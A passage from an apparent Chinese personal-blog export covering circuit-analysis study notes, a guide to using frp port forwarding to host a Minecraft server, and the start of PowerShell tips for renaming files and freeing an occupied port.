href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E5%90%AB%E5%8F%97%E6%8E%A7%E6%BA%90%E7%94%B5%E9%98%BB%E7%9A%84%E7%AD%89%E6%95%88\" class=\"headerlink\" title=\"含受控源电阻的等效\"\u003e\u003c/a\u003e含受控源电阻的等效\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-221606.png\" alt=\"N_i_u\"/\u003e\u003c/p\u003e\u003cp\u003e如图,u、i参考方向关联,因此定义其端口等效电阻为:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eR_{eq}=\\frac{u}{i}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e$R_{eq}$的计算使用外加电流的方法:外加独立电流/电压源得到伏安关系,从而得到 $R_{eq}$。\u003c/p\u003e\u003cul\u003e\u003cli\u003e例1\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20220928-173251.png\" alt=\"example_1\"/\u003e\u003c/p\u003e\u003cp\u003e解题关键就是计算得到 $u$ 和 $i$,此时就可利用定义式得到等效电阻。\u003c/p\u003e\u003cul\u003e\u003cli\u003e例2\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-165041.png\" alt=\"example_2\"/\u003e\u003c/p\u003e\u003ch3 id=\"独立源的串并联等效\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E7%8B%AC%E7%AB%8B%E6%BA%90%E7%9A%84%E4%B8%B2%E5%B9%B6%E8%81%94%E7%AD%89%E6%95%88\" class=\"headerlink\" title=\"独立源的串并联等效\"\u003e\u003c/a\u003e独立源的串并联等效\u003c/h3\u003e\u003cul\u003e\u003cli\u003e电压源串联而成的二端电路,可以等效成\u003cem\u003e一个电压源\u003c/em\u003e,其值为几个电压源的电压值代数和。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-221639.png\" alt=\"电压源串联\"/\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e注意;方向一致、电压相等的电压源才能并联,否则违背KVL\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e多个电流源可以并联,等效为一个电流源,其值为各电流源 电流值的代数和。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-221705.png\" alt=\"电流源并联\"/\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e同样地,电流值一致且方向相等的电流源才能串联,否则违背KCL\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e电流源与电压源/电阻串联:对外只等效为电流源。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e电压源和电流源/电阻并联:对外只等效为电压源。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-221729.png\" alt=\"其他等效\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e电源等效后的外特性不变。\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"实际电源的模型\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E5%AE%9E%E9%99%85%E7%94%B5%E6%BA%90%E7%9A%84%E6%A8%A1%E5%9E%8B\" class=\"headerlink\" title=\"实际电源的模型\"\u003e\u003c/a\u003e实际电源的模型\u003c/h2\u003e\u003cp\u003e将实际电源(例如干电池)外接滑动变阻器,得到其电源特性曲线:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-221813.png\" alt=\"u-i曲线\"/\u003e\u003c/p\u003e\u003cp\u003e令 $\\frac{U_s}{I_s}=R_s$,得到解析式为:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eu=U_s-R_si\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e这就是实际电源的电压源模型:电压源和内阻 $R_s$ 的串联。\u003c/p\u003e\u003cp\u003e若将表达式变形为关于 $i$ 的函数,则:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003ei=I_s-\\frac{u}{R_s}\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e这就是实际电源的电流源模型:电流源和内阻 $R_s$ 的并联。\u003c/p\u003e\u003ch3 id=\"两模型的互换等效\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E4%B8%A4%E6%A8%A1%E5%9E%8B%E7%9A%84%E4%BA%92%E6%8D%A2%E7%AD%89%E6%95%88\" class=\"headerlink\" title=\"两模型的互换等效\"\u003e\u003c/a\u003e两模型的互换等效\u003c/h3\u003e\u003cp\u003e由于前面两者的VCR(伏安关系)相同,所以实际电源的这两种模型电路是等效的。这也适用于受控电压/电流源,也就是说,受控源也可以等效互换。\u003c/p\u003e\u003cp\u003e互换时要注意电压源的电压极性与电流源电流的方向之间的关系。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-222024.png\" alt=\"互换等效\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e例1\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-222043.png\" alt=\"example-1\"/\u003e\u003c/p\u003e\u003cp\u003e上面的例子通过源的等效变换和独立源的串并联等效,将电路化简为只含两个电源的电路,大大简化了电路。\u003c/p\u003e\u003cul\u003e\u003cli\u003e例2\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-222118.png\" alt=\"example-2-1\"/\u003e\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-222154.png\" alt=\"example-2-2\"/\u003e\u003c/p\u003e\u003cp\u003e上面例题的关键是根据公式 $i=I_s-\\frac{u}{R_s}$将实际电源变形为电流源。完成之后进行正常的电源等效合并简化电路即可。\u003c/p\u003e\u003ch3 id=\"总结\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E6%80%BB%E7%BB%93\" class=\"headerlink\" title=\"总结\"\u003e\u003c/a\u003e总结\u003c/h3\u003e\u003cul\u003e\u003cli\u003e一个实际电路对应两个理想电源模型\u003c/li\u003e\u003cli\u003e实际电源的两种等效理想电源模型:\u003cbr/\u003e$$\u003cbr/\u003ei_S=\\frac{u_S}{R_S} \\\u003cbr/\u003eu_S=R_Si_S\u003cbr/\u003e$$\u003c/li\u003e\u003cli\u003e电路等效变换过程中,电路结构会发生变化,注意未知量是否变化\u003c/li\u003e\u003cli\u003e受控电压源/电流源+电阻也可以等效变换,不过\u003cstrong\u003e注意变换过程中,控制两必须保留\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"电源的等效转移\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E7%94%B5%E6%BA%90%E7%9A%84%E7%AD%89%E6%95%88%E8%BD%AC%E7%A7%BB\" class=\"headerlink\" title=\"电源的等效转移\"\u003e\u003c/a\u003e电源的等效转移\u003c/h2\u003e\u003ch3 id=\"电压源-等效变换\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E7%94%B5%E5%8E%8B%E6%BA%90-%E7%AD%89%E6%95%88%E5%8F%98%E6%8D%A2\" class=\"headerlink\" title=\"电压源-等效变换\"\u003e\u003c/a\u003e电压源-等效变换\u003c/h3\u003e\u003cp\u003e利用了bcde结点电位相等的特点,将电压源分拆到三路上。\u003cstrong\u003e转移后的各回路的KVL方程应不变\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-222940.png\" alt=\"open-node\"/\u003e\u003c/p\u003e\u003cp\u003e例如:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-223127.png\" alt=\"apart-power\"/\u003e\u003c/p\u003e\u003cp\u003e上图中有两种拆法,既可以拆到左边也可以拆到右边。\u003c/p\u003e\u003cul\u003e\u003cli\u003e例1\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-223335.png\" alt=\"example-1\"/\u003e\u003c/p\u003e\u003ch3 id=\"电流源-等效变换\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E7%94%B5%E6%B5%81%E6%BA%90-%E7%AD%89%E6%95%88%E5%8F%98%E6%8D%A2\" class=\"headerlink\" title=\"电流源-等效变换\"\u003e\u003c/a\u003e电流源-等效变换\u003c/h3\u003e\u003cp\u003e从起点开始,选择一回路到终点,每条支路并联。\u003cstrong\u003e转移后的KCL方程应保持不变\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-223645.png\" alt=\"current-trans\"/\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e例2\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-223719.png\" alt=\"example-2\"/\u003e\u003c/p\u003e\u003ch2 id=\"电桥\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E7%94%B5%E6%A1%A5\" class=\"headerlink\" title=\"电桥\"\u003e\u003c/a\u003e电桥\u003c/h2\u003e\u003cp\u003e顾名思义,“桥”是起连接作用的。电桥所连接的,则是电路。\u003c/p\u003e\u003cp\u003e将两个支路用电阻 $R_5$相连接,则 $R_1 \\dots R_5$就形成了一个电桥。 $R_5$就是桥接电阻。\u003c/p\u003e\u003ch3 id=\"平衡电桥\"\u003e\u003ca href=\"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/#%E5%B9%B3%E8%A1%A1%E7%94%B5%E6%A1%A5\" class=\"headerlink\" title=\"平衡电桥\"\u003e\u003c/a\u003e平衡电桥\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221013-224348.png\" alt=\"e-bridge\"/\u003e\u003c/p\u003e\u003cp\u003e在上图中,如果存在:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eR_1R_4=R_2R_3\u003cbr/\u003e$$\u003c/p\u003e\u003cp\u003e则会有A,B两点等电位。这即是平衡电桥。\u003c/p\u003e\u003cp\u003e显然,平衡电桥具备下面的性质:\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e等电位点间连接任意电阻,都不影响外电路的支路量\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e也就是说,平衡电桥可以看作开路。\u003c/p\u003e\u003cp\u003e同时,将 $R_4$换为可调节电阻 $R$,电桥换为电流计 $A$,即可测量 $R_1$的阻值:\u003c/p\u003e\u003cp\u003e$$\u003cbr/\u003eR_x=\\frac{R_2R_3}{R}\u003cbr/\u003e$$\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/10/19/%E7%89%A9%E7%90%86/%E5%BE%AE%E7%94%B5%E5%AD%90%E6%8A%80%E6%9C%AF/%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90%E5%9F%BA%E7%A1%80/%E7%AC%AC%E4%B8%80%E7%AB%A0%EF%BC%9A%E7%94%B5%E8%B7%AF%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%A7%84%E5%BE%8B/"},{"title":"frp内网穿透搭建Minecraft服务器","time":"2022-06-28T17:05:34Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"原料\"\u003e\u003ca href=\"https://xeonds.github.io/2022/06/28/%E6%B8%B8%E6%88%8F/Minecraft/frp%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E6%90%AD%E5%BB%BAMinecraft%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E5%8E%9F%E6%96%99\" class=\"headerlink\" title=\"原料\"\u003e\u003c/a\u003e\u003cdel\u003e原料\u003c/del\u003e\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://github.com/fatedier/frp/releases/\"\u003efrp\u003c/a\u003e:这次搭建服务器的核心工具\u003c/li\u003e\u003cli\u003e一台公网服务器:我用的是腾讯云。性能无所谓\u003c/li\u003e\u003cli\u003e一台跑mc服务端的电脑:我用的自己的台式机\u003c/li\u003e\u003cli\u003e一个公网域名:没有的话用服务器IP也行\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"准备\"\u003e\u003ca href=\"https://xeonds.github.io/2022/06/28/%E6%B8%B8%E6%88%8F/Minecraft/frp%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E6%90%AD%E5%BB%BAMinecraft%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E5%87%86%E5%A4%87\" class=\"headerlink\" title=\"准备\"\u003e\u003c/a\u003e准备\u003c/h2\u003e\u003cp\u003e1.开放端口\u003c/p\u003e\u003cp\u003eMinecraft服务端需要开放\u003ccode\u003e25565\u003c/code\u003e端口,frp需要开放\u003ccode\u003e7000\u003c/code\u003e端口作为绑定端口,\u003ccode\u003e8080\u003c/code\u003e(或者其他闲置端口)作为http端口。如果需要监控面板的话还需要开放\u003ccode\u003e7500\u003c/code\u003e端口。\u003c/p\u003e\u003cp\u003e开放时,都选择\u003ccode\u003etcp\u003c/code\u003e即可。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e上述端口都可以根据实际情况改变\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e2.下载文件\u003c/p\u003e\u003cp\u003e从上述frp链接到的GitHub release页面中下载你需要的版本。服务端和客户端是在同一个\u003ccode\u003etar.gz\u003c/code\u003e文件中的,所以只需要下载你公网服务器和本地服务器对应的版本即可。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e后缀简介:i386:32位系统;amd64:64位系统;linux:Ubuntu等Linux系统;windows:Windows;arm32/64:arm版系统。按需下载即可。速度慢可以搜搜\u003ccode\u003eGitHub加速\u003c/code\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"配置\"\u003e\u003ca href=\"https://xeonds.github.io/2022/06/28/%E6%B8%B8%E6%88%8F/Minecraft/frp%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E6%90%AD%E5%BB%BAMinecraft%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"配置\"\u003e\u003c/a\u003e配置\u003c/h2\u003e\u003cp\u003e1.公网服务器:随便创建个目录,用\u003ccode\u003etar -zxvf [文件名]\u003c/code\u003e解压文件。不会上传到服务器的自行百度\u003ccode\u003escp\u003c/code\u003e。解压完成后保留\u003ccode\u003efrps\u003c/code\u003e和\u003ccode\u003efrps.ini\u003c/code\u003e即可。使用\u003ccode\u003evim frps.ini\u003c/code\u003e编辑配置文件如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e[common]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebind_port = 7000\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evhost_http_port = 8080\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etoken=114514 \u003cspan class=\"comment\"\u003e#客户端连接密码\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e#下面是监控面板的配置,不需要可以忽略\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edashboard_addr=0.0.0.0\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edashboard_port=7500 \u003cspan class=\"comment\"\u003e#监控面板端口。用[你服务器地址]:7500即可访问\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edashboard_user=114514 \u003cspan class=\"comment\"\u003e#监控面板用户名\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edashboard_pwd=114514 \u003cspan class=\"comment\"\u003e#监控面板密码\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e按\u003ccode\u003eEsc\u003c/code\u003e,输入\u003ccode\u003e:wq\u003c/code\u003e保存并退出。随后输入\u003ccode\u003escreen -dmS frp-server ./frps -c ./frps.ini\u003c/code\u003e并回车,创建一个名为\u003ccode\u003efrps-server\u003c/code\u003e的后台窗口并在其中开启\u003ccode\u003efrps\u003c/code\u003e服务端。\u003c/p\u003e\u003cp\u003eOK,\u003ccode\u003eexit\u003c/code\u003e退出连接即可。\u003c/p\u003e\u003cp\u003e2.内网服务器:按照其他的教程开启Minecraft服务器即可,具体搜索\u003ccode\u003eMinecraft Java开服\u003c/code\u003e。确保端口为\u003ccode\u003e25565\u003c/code\u003e,随后解压\u003ccode\u003efrp\u003c/code\u003e并保留\u003ccode\u003efrpc\u003c/code\u003e和\u003ccode\u003efrpc.ini\u003c/code\u003e并打开\u003ccode\u003efrpc.ini\u003c/code\u003e,编辑为:\u003c/p\u003e\u003cfigure class=\"highlight bat\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e[common]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eserver_addr = [你服务器的地址]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eserver_port = \u003cspan class=\"number\"\u003e7000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etoken=\u003cspan class=\"number\"\u003e114514\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e[mcs]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003etype\u003c/span\u003e = tcp\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elocal_ip = \u003cspan class=\"number\"\u003e127\u003c/span\u003e.\u003cspan class=\"number\"\u003e0\u003c/span\u003e.\u003cspan class=\"number\"\u003e0\u003c/span\u003e.\u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003elocal_port = \u003cspan class=\"number\"\u003e25565\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eremote_port=\u003cspan class=\"number\"\u003e25565\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e保存退出。双击运行\u003ccode\u003efrpc.exe\u003c/code\u003e即可。\u003c/p\u003e\u003ch2 id=\"尾声\"\u003e\u003ca href=\"https://xeonds.github.io/2022/06/28/%E6%B8%B8%E6%88%8F/Minecraft/frp%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E6%90%AD%E5%BB%BAMinecraft%E6%9C%8D%E5%8A%A1%E5%99%A8/#%E5%B0%BE%E5%A3%B0\" class=\"headerlink\" title=\"尾声\"\u003e\u003c/a\u003e尾声\u003c/h2\u003e\u003cp\u003e配好之后按理来说就能玩了。如果有报错的话请Google一下\u003ccode\u003efrp+你的报错信息\u003c/code\u003e,会有解决办法的。\u003c/p\u003e\u003cp\u003e啊不对重点不是这个……我们上面用了\u003ccode\u003escreen\u003c/code\u003e来做中转,这样每次重启服务器都需要手动开启服务很麻烦。可以用service一劳永逸解决这个问题:\u003ca href=\"https://juejin.cn/post/7042486792011907086\"\u003e查看本文,教你配置frp为service\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/06/28/%E6%B8%B8%E6%88%8F/Minecraft/frp%E5%86%85%E7%BD%91%E7%A9%BF%E9%80%8F%E6%90%AD%E5%BB%BAMinecraft%E6%9C%8D%E5%8A%A1%E5%99%A8/"},{"title":"PowerShell学习笔记","time":"2022-06-05T12:31:58Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"文件批量改后缀\"\u003e\u003ca href=\"https://xeonds.github.io/2022/06/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/PowerShell%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%96%87%E4%BB%B6%E6%89%B9%E9%87%8F%E6%94%B9%E5%90%8E%E7%BC%80\" class=\"headerlink\" title=\"文件批量改后缀\"\u003e\u003c/a\u003e文件批量改后缀\u003c/h2\u003e\u003cfigure class=\"highlight ps\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003edir\u003c/span\u003e * | \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e { \u003cspan class=\"built_in\"\u003eRename-Item\u003c/span\u003e \u003cspan class=\"variable\"\u003e$_\u003c/span\u003e \u003cspan class=\"literal\"\u003e-NewName\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$_\u003c/span\u003e.BaseName+”.mp4”) }\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"解除端口占用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/06/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/PowerShell%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E8%A7%A3%E9%99%A4%E7%AB%AF%E5%8F%A3%E5%8D%A0%E7%94%A8\" class=\"headerlink\" title=\"解除端口占用\"\u003e\u003c/a\u003e解除端口占用\u003c/h2\u003e\u003cp\u003e首先找到占用端口的进程,然后终止进程:\u003c/p\u003e\u003cfigure class=\"highlight ps\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enetstat \u003cspan class=\"literal\"\u003e-nao\u003c/span\u003e | findstr \u003cspan class=\"string\"\u003e\u0026#34;5554\u0026#34;\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 假设5554端口被占用\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etaskkill \u003cspan class=\"literal\"\u003e-pid\u003c/span\u003e \u003cspan class=\"number\"\u003e5076\u003c/span\u003e \u003cspan class=\"operator\"\u003e-f\u003c/span\u003e \u003cspan class=\"comment\"\u003e# 结束占用进程\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"查找文件\"\u003e\u003ca 